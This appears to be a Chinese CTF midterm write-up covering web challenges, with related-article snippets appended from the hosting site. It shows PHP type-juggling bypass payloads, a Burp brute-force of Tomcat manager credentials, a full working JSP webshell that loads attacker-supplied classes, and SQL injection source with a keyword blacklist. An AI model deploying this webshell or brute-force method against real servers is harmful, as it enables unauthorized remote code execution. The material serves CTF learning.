期中考Web复现

第一题 1z_php

 

<?php
//Yeedo told you to study hard!
echo !(!(!(!(include "flag.php")||(!error_reporting(0))||!isset($_GET['OoO'])||!isset($_GET['0o0'])||($_GET['OoO']==2023)||!(intval($_GET['OoO'][0])==2023)||$_GET['0o0']==$_GET['OoO']||!(md5($_GET['0o0'])==md5($_GET['OoO'])))))?$flag:str_repeat(highlight_file(__FILE__), 0); 

 代码审计

intval($_GET['OoO'][0])==2023

 chatgpt给的回答,总之就是如果OoO这个数值intval转换不了整数2023,将会返回0

传入0o0参数和OoO(两个参数不一样),将2023赋值给OoO,此时OoO的数值用intval函数返回值为2023,此时将0o0自身与OoO进行弱比较相等,md5弱比较也相等的时候,通过三目运算符即可得到flag

也就是说,如果flag前的那一串表达式为真,则输出flag的值,如果为假,则输出为0

payload:/?OoO[]=2023.1&0o0[]=2023.a

               /?0o0[]=2023aa&OoO[]=2023.111

三目运算符

intval函数的用法,可以直接看实例

intval函数会返回字符串的有效数字部分,会将小数部分截去,只保留整数部分。

<?php
echo intval(42);                      // 42

echo intval(42a);                      // 0

echo intval(42.1);                      // 42

echo intval(42.9);                      // 42
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

第二题   签到O.o?

打开题目,发现是关于Apache Tomcat/8.0.43的漏洞

随意的输入账号和密码点击登录,然后bp抓数据包

如果bp抓不到登录数据包,我们可以

在代理中的HTTP历史记录中选中要抓取的tomcat登录地址,右键选择添加到范围

在目标范围中便选中了我们要抓取的目标地址,这个时候便能重新登录抓取

发现是账号和密码base64加密

解码后发现账号和密码是以冒号连接,

格式为  账号:密码

然后我们选择用爆破,将账号和密码爆破出来

我们选择singer模式

并将Basic后面那串base64加密的账号密码Add$

Payloads设定为选择:Custom iterator

Custom iterator这里是指相当于把一条爆破语句拆成三个部分:账号:密码

第一部分加载用户字典,第二部分输入英文符号: ,第三部分加载密码字典

选择加密方式为Encode内的base64加密

去掉URL前的勾,因为爆破的时候他会将特殊字符URL编码,我们不需要他帮我们编码

登录后台后

我们在网上找到jsp一句话木马文件,密码passwd

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

我们需要将jsp一句话木马文件压缩为zip文件,再将文件名后缀改为war,注意文件必须是jsp文件才能被解析,而不是txt文件

 上传成功后会显示ok,我们用蚁剑连接我们上传的nmd.jsp木马文件

在根目录下找到了flag

第三题    1z_sql

 给了源代码

<?php
error_reporting(0);$dbusername ='root'; //数据库名称设置和用户登录参数不能设置为一样
$dbpassword ='root';
$dbname ="kind";
$servername = 'localhost';$conn = new mysqli($servername, $dbusername, $dbpassword, $dbname);
if ($conn->connect_error) {die("连接失败: " . $conn->connect_error);
}
//echo "连接成功";
function waf($str){$str=trim($str);$str=addslashes($str);$str=preg_replace("/\+|\*|\`|\/|\-|\$|\#|\^|\!|\@|\%|\&|\~|\^|\[|\]|\'|\)|\(|\"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"$str=preg_replace("/\s/", "", $str);//去除空格、换行符、制表符return $str;}function waf2($str){$black_list = "/=|and|union|if|sleep|length|substr|floor|updatexml/i";if(preg_match($black_list,$str)){echo "<br>";echo "你注你🐎呢";echo "<br>";}else{return $str;}}$uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入$IP = $_SERVER['REMOTE_ADDR'];if(isset($_POST['username']) && isset($_POST['password'])){
$username = waf($_POST['username']); 
$password = waf($_POST['password']);
$uagent = waf2($uagent);$sql="SELECT username,password FROM sheet1 WHERE username='$username' and password='$password'";$result1 = mysqli_query($conn,$sql);$row1 = mysqli_fetch_array($result1);if($row1){//echo '< font size = 3 >';$insert="INSERT INTO `uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP','$username')";//定义一个新表来写入内容,新表名称叫做uagents// echo $insert;// echo "<br>";mysqli_query($conn,$insert);//echo 'Your IP ADDRESS is: ' .$IP;echo "</font>";//echo "<br>";//echo '<font size = 3 >';			echo 'Your User Agent is: ' .$uagent;echo "</font>";echo "<br>";print_r(mysqli_error($conn));			echo "<br><br>";echo "<br>";//echo 'your uname is: '.$username;echo "不错嘛能登上,加油!看看回显信息有思路了没有?";}else{//echo '<font size="3">';//echo "Try again looser";//print_r(mysqli_error($conn));echo "</br>";			echo "</br>";echo "</font>";echo "这都不行?还不好好学?";  }}
?><!DOCTYPE html><html><head><meta charset="utf-8"><title>真的很简单</title></head><body><h1>登录</h1><p>Here is a poor page!</p><h2><form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">username: <input type="text" name="username"><br>password: <input type="password" name="password"><br><input type="submit" name="登录" value="登录"/></form></h2><h3></h3></body></html>	

第四题   1z_upload

第五题  1z_flask

  第六题   1z_Sql2.0

第七题   1z_Upload2.0

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/160062.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VM虚拟机运行的Ubuntu连入同一局域网,并实现双机方法

环境&#xff1a; Windows 10 VMware Workstation Pro 16 Ubuntu 20.4 在虚拟机设置桥接模式 确保虚拟机处于关闭状态&#xff0c;在Vm中设置&#xff1a; 编辑->虚拟网络编辑器 如果你以前设置过&#xff0c;可以重置之。 重置之后&#xff0c;添加桥接模式&#xff1a; …

启动速度提升 10 倍:Apache Dubbo 静态化方案深入解析

作者&#xff1a;华钟明 文章摘要&#xff1a; 本文整理自有赞中间件技术专家、Apache Dubbo PMC 华钟明的分享。本篇内容主要分为五个部分&#xff1a; -GraalVM 直面 Java 应用在云时代的挑战 -Dubbo 享受 AOT 带来的技术红利 -Dubbo Native Image 的实践和示例 -Dubbo…

用批处理连续ping一个ip段

今天写这个有一个原因&#xff0c;就是我家的网络用了一个无线电力猫做为无线网络扩展&#xff0c;但忘记了无线电力猫的IP&#xff0c;而且我家新路由器也看不到这个电力猫&#xff0c;也可能有一个原因。我原来用的是192.168.1.1的华为路由器&#xff0c;自然我就把这个无线电…

2022最新版-李宏毅机器学习深度学习课程-P17 卷积神经网络CNN

一、CNN 用于图像分类 需要图片大小统一 彩色图像分为R G B 三层&#xff0c;展平后首尾相接 值代表着颜色的强度 图像识别中不需要全连接的&#xff0c;参数太多了 观测1&#xff1a;通过判断多个小局部图像就能判断出图片标签 感受野的定义 简化1 感受野可以重叠&#xff…

接口自动化测试框架搭建【附教程加源码】

1 接口测试 接口测试是对系统或组件之间的接口进行测试&#xff0c;主要是校验数据的交换&#xff0c;传递和控制管理过程&#xff0c;以及相互逻辑依赖关系。 接口自动化相对于UI自动化来说&#xff0c;属于更底层的测试&#xff0c;这样带来的好处就是测试收益更大&#xff…

网络安全分析——蠕虫病毒动态分析视图

蠕虫病毒&#xff08;Worm Virus&#xff09;是一种自我复制的恶意软件&#xff0c;通过网络或系统漏洞传播&#xff0c;感染其他计算机并利用其资源。与其他病毒不同&#xff0c;蠕虫病毒无需依赖于宿主文件&#xff0c;并可以自动在网络中传播&#xff0c;因此具有高度传染性…

【面试经典150 | 区间】汇总区间

文章目录 Tag题目来源题目解读解题思路方法一&#xff1a;一次遍历复杂度分析 其他语言python3C 写在最后 Tag 【一次遍历】【数组】【字符串】 题目来源 228. 汇总区间 题目解读 给定一个无重复的升序数组 nums&#xff0c;需要将这个数组按照以下规则进行汇总&#xff1…

SGPT: GPT Sentence Embeddings for Semantic Search

简介 语义搜索分为两个部分&#xff1a; 1.搜索和query 相关的topk文档。 2.理解文档和query后面隐藏的语义信息&#xff0c;而不是字面含义。 这篇论文提出了SGPT模型&#xff0c;只用decoder-only的transformer来进行语义搜索和sentence向量的提取。 1.SGPT-BE&#xff1a;来…

13-k8s-ingress网络

文章目录 一、ingress介绍二、创建nginx和tomcat供测试三、创建ingress-http四、yaml方式安装ingress五、helm方式安装ingress&#xff08;推荐&#xff09;六、Ingress的HTTPS代理 一、ingress介绍 Service对集群之外暴露服务的主要方式有两种&#xff1a;NotePort和LoadBalan…

MySQL进阶(再论JDBC)——JDBC编程思想的分析 JDBC的规范架构 JDBC相关的类分析

前言 SQL&#xff08;Structured Query Language&#xff09;是一种用于管理关系型数据库的标准化语言&#xff0c;它用于定义、操作和管理数据库中的数据。SQL是一种通用的语言&#xff0c;可以用于多种关系型数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;如MySQ…

电力物联网关智能通讯管理机-安科瑞黄安南

众所周知&#xff0c;网关应用于各种行业的终端设备的数据采集与数据分析&#xff0c;然后去实现设备的监测、控制、计算&#xff0c;为系统与设备之间建立通讯联系&#xff0c;达到双向的数据通讯。 网关可以实时监测并及时发现异常数据&#xff0c;同时自身根据用户规则进行…

nginx.4——正向代理和反向代理(七层代理和四层代理)

1、正向代理反向代理 nginx当中有两种代理方式 七层代理(http协议) 四层代理(tcp/udp流量转发) 七层代理 七层代理&#xff1a;代理的是http的请求和响应。 客户端请求代理服务器&#xff0c;由代理服务器转发给客户端http请求。转发到内部服务器&#xff08;可以单台&#…

Avalonia 实现跨平台的视频聊天、屏幕分享(源码,支持Win、银河麒麟、统信UOS)

现在最火的.NET跨平台UI框架莫过于Avalonia了。Avalonia 基于.NET Core&#xff0c;因此它可以运行在任何支持.NET Core的平台上。之前基于CPF跨平台UI框架写过一个视频聊天的demo&#xff0c;而现在看来Avalonia是大势所趋&#xff0c;于是&#xff0c;我再写一个Avalonia版本…

基于区块链与联邦学习技术的数据交易平台

目录 基于区块链与联邦学习技术的数据交易平台 基于区块链与联邦学习技术的数据交易平台 联邦学习与区块链的集成的优势在于能够确认参与各方的身份并实现学习过程追溯。 首先&#xff0c;通过的身份认证系统与定制化的联邦学习协议来解决交易各方身份确认的问题。 如图1所示…

Q-learning如何与ABC等一些元启发式算法能够结合在一起?

1、出现的问题 Q-learning能和元启发式算法&#xff08;如ABC、PSO、GA、SSA等&#xff09;结合在一起&#xff0c;实现工作流调度问题&#xff1f; Q-learning和ABC (Artificial Bee Colony) 等元启发式算法可以结合在一起以解决特定类型的问题。Q-learning是一种强化学习算法…

QTday1

#include "mywidget.h"MyWidget::MyWidget(QWidget *parent): QWidget(parent) {this->resize(430,330);this->setWindowTitle("QQ");this->setWindowIcon(QIcon("E:\\桌面\\qq.png"));this->setWindowFlag(Qt::FramelessWindowHint…

Windows工业三防平板全功能NFC近距离感应一维/二维扫描

Windows系统工业三防平板电脑是一种在智慧工厂仓储物流、MES数采、车载设备、设备检测、自动化控制等领域广泛应用的先进设备。此外&#xff0c;它还在公共服务领域&#xff0c;如高速交通、物流运输、电力检测、公务执法、银行金融、船舶装备、户外勘测、建筑工程、汽车检测、…

【python高级】设计模式、类工厂、对象工厂

一、说明 最近试着读Design pattern&#xff0c; 不过有些概念实在太抽象了&#xff0c; 整理一下自己所学抽象工厂的精神&#xff0c;就是要有abstract class&#xff08;not implement&#xff09;&#xff0c;而所有不同种类的对象&#xff0c;都是继承这个abstract class&a…

unordered_set unordered_map 的封装

目录 1. 哈希的概念 1.1. 哈希冲突 1.2. 哈希函数&#xff1a; 1. 直接定址法 2. 除留余数法 1.3. 闭散列实现哈希 1.4. 开散列实现哈希 2. 哈希的应用 2.1 位图的概念 2.1.1. 问题&#xff1a; 2.2.1. set ​编辑 2.2.2. reset 2.2.3. test() 2.2. 位图的实现…

使用解构赋值简化axios返回对象属性元素的提取

axios返回的response通常都会进行一层封装&#xff0c;把响应的数据封装到了data这个对象&#xff0c;所以提取数据起来不太方便&#xff0c;往往需要res.data.xxx这样获取里面的数据&#xff0c; 具体可以参考下面的数据结构&#xff1a; 假如data的数据是下面的结构&#xf…